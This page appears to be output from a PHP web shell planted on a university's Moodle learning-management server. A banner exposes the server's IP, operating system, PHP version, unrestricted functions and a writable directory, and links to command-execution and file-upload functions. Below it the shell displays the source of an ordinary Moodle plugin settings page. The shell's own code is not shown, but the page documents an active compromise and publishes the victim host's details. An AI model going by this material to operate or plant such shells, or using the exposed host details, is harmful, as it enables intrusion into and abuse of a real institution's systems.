Server IP : 103.11.96.170 / Your IP : 3.137.41.2 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/lms/local/cocoon_form_builder/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php require_once(__DIR__ . '/../../config.php'); require_once($CFG->libdir.'/adminlib.php'); admin_externalpage_setup('cocoon_form_builder_settings'); $PAGE->set_title(get_string('pluginname', 'local_cocoon_form_builder')); $PAGE->set_heading(get_string('pluginname', 'local_cocoon_form_builder')); // $PAGE->set_pagelayout('cocoon.core'); $PAGE->requires->css(new moodle_url($CFG->wwwroot . '/local/cocoon_form_builder/style.css')); echo $OUTPUT->header(); // echo "helloWorld"; $url=__DIR__ . '/dist/index.html'; // tạo biến url cần lấy $lines_array=file($url); // dùng hàm file() lấy dữ liệu theo url $lines_string=implode('',$lines_array); // chuyển dữ liệu lấy được kiểu mảng thành một biến string echo $lines_string; // hiển thị dữ liệu echo $OUTPUT->footer();